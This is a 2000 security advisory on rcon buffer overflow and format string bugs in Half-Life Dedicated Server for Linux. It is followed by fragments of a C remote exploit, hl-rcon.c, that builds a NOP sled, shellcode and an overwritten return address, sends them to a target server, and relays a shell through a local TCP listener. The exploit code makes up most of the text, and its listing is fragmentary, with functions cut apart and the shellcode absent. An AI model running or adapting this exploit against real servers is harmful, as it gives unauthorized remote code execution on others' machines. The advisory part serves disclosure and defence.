Multiple vulnerabilities in Half-life Dedicated Server for Linux
24 Oct. 2000
Summary
Tamandua Sekure Labs has found multiple vulnerabilities in Half-life Dedicated Server for Linux. These problems are related to the remote console command (rcon) and it can be exploited to gain remote access to the vulnerable server - the attack may also be used to crash the server remotely.
You do not need the rcon password to attack the HLDS server - all Linux servers are vulnerable.
Vulnerable systems:
Half-Life Dedicated Server version 3.1.3.x
Half-Life Dedicated Server version 3.1.0.x
Buffer Overflow in RCON command
The HLDS server does not check the input size of the rcon command issued by a remote user. By feeding the rcon command buffer with a large amount of data, it's possible to crash the server by hitting the return address with an arbitrary character sequence.
The problem seems to be related with the logging function.
The exploitation allows attackers to insert arbitrary instructions to be remotely executed in the server (you do not need a local account).
Format string error in RCON command
The HLDS server does not check properly the contents of the rcon command's buffer that will be given as a format argument to the sprintf() function. By sending a special sequence of characters (%*), the attacker might overwrite the program's return address and execute arbitrary instructions in the server.
The problem seems to be related with the logging function.
Temporary solution:
Disable the Linux Half-Life Dedicated Server.
- ---[ hl-rcon.c ]----------------------------------
/*
* SDI HalfLife rcon remote exploit for linux x86
* (portuguese) exploit remoto para o buffer overflow do rcon no halflife
*
* Tamandua Sekure Labs (Sao Paulo - Porto Alegre, Brazil)
* by Thiago Zaninotti (c0nd0r) <condor@sekure.org>
* Gustavo Scotti (csh) <csh@sekure.org>
*
* Proof of concept - There is a remote exploitable buffer overflow
* in Half Life server (3.1.0.x) for linux (HLDS). The problem is
* related to the RCON command (Remote CONsole).
* (port.) Existe um buffer overflow exploitavel no Half Life Server
* (HLDS) relacionado ao comando RCON.
*
* After several tests, we found out the 'rcon' command is also vulnerable
* to a format string attack which can lead to a remote exploitation.
* (port) O comando RCON tambem e' vulneravel a um format string attack.
*
* YOU DO NOT NEED THE RCON PASSWORD TO EXPLOIT THIS VULNERABILITY,
* which means any multiplayer server is vulnerable to the attack.
* (port) Voce nao precisa de password para explorar esta vulnerabilidade,
* o que significa que qualquer servidor e' vulneravel.
*
* Agradecimentos: Tamandua Sekure Labs - Fabio Ramos (framos@axur.org),
* Eduardo Freitas, Marcos Sposito, Roberto Monteiro (casper),
* Nelson Britto (stderr), Sabrina Monteiro, Gabriel Zaninotti e
* Felipe Salum. A todos os leitores da Best of Security Brasil (BOS-BR).
*
* Respects: c_orb, el8.org (specially duke), meta, guys at core sdi,
* the "infame" TOXYN.ORG (pt rocks) - r00t, pr0m, horizon, plaguez,
* ratao and p.ulh.as/promisc.net crew. Greetz to AXUR.ORG too! guys at
* sekure.org: vader, jamez, falcon and staff.
*
* WE DO NOT TAKE ANY RESPONSABILITY. DO NOT USE THIS CODE TO GAIN
* UNAUTHORIZED ACCESS TO A REMOTE SERVER -- THIS IS NOT LEGAL.
*
* also thanks to botman (botman@mailandnews.com) and pudim.
* Visit the brazilian security portal: http://www.securenet.com.br
*/
if (bind(sock, (struct sockaddr *)&mask_addr, sizeof(mask_addr))<0)
{
error:
portno++;
if (portno>26000)
{
printf("* no TCP port to bind in.\n");
exit(0);
}
goto redo;
}
if (listen( sock, 0)<0)
goto error;
printf(". TCP listen port number %d\n", portno);
*port = portno;
return sock;
}
if (select(tcp+1, &fds, NULL, NULL, NULL)>0)
{
if (FD_ISSET(0, &fds))
{
int n;
n = read(0, tmp, 256);
if (n<0)
goto end_conn;
if (write(tcp, tmp, n)!=n) goto end_conn;
}
if (FD_ISSET(tcp, &fds))
{
int n;
n = read(tcp, tmp, 256);
if (n<0)
goto end_conn;
if (write(0, tmp, n)!=n) goto end_conn;
}
}
}
end_conn:
close(tcp);
printf(". bye-bye. Stay tuned for more Tamandua Sekure Labs codes.\n");
}
/* find out how many nops we can push before shellcode */
n = last_byte - i - sizeof(shellcode)-1 - over_head;
for (i=0;i<n;i++)
shell_ptr[i] = 0x90; /* nop */
shell_ptr+=i;
/* fill in the shellcode */
for (i=0;i<sizeof(shellcode)-1;i++)
shell_ptr[i] = shellcode[i];
shell_ptr+=i;
/* fill in the overhead buffer */
for (i=0;i<over_head;i++)
shell_ptr[i] = '-';
shell_ptr+=i;
/* fill return address and ebp */
*(u32 *)shell_ptr = ret_addr; shell_ptr+=4;
*(u32 *)shell_ptr = ret_addr; shell_ptr+=4;
printf(". half-life 3.1.0.x remote buffer-overflow for linux x86\n");
printf(". (c)2000, Tamandua Sekure Laboratories\n");
printf(". Authors: Thiago Zaninotti & Gustavo Scotti\n");
if (argc<2)
usage();
tmp = (u8 *)strchr(argv[1], ':');
if (tmp)
{
*tmp = 0; tmp++;
port = atoi(tmp);
}
else
{
printf(": port not found, using default 27015\n");
port = 27015;
}
addr = dns2ip(argv[1]);
if (addr==0xffffffff)
{
printf("host not found!\n");
exit(0);
}
sock = udp_connect( addr, port);
laddr = retrieve_local_info(sock, linfo);
if (get_server_info(sock, addr, port)!=1)
{
printf("this is not a linux server. Make a shellcode to it and have fun\n");
exit(0);
}
assembly_shell_code(sock, addr, port, laddr, linfo);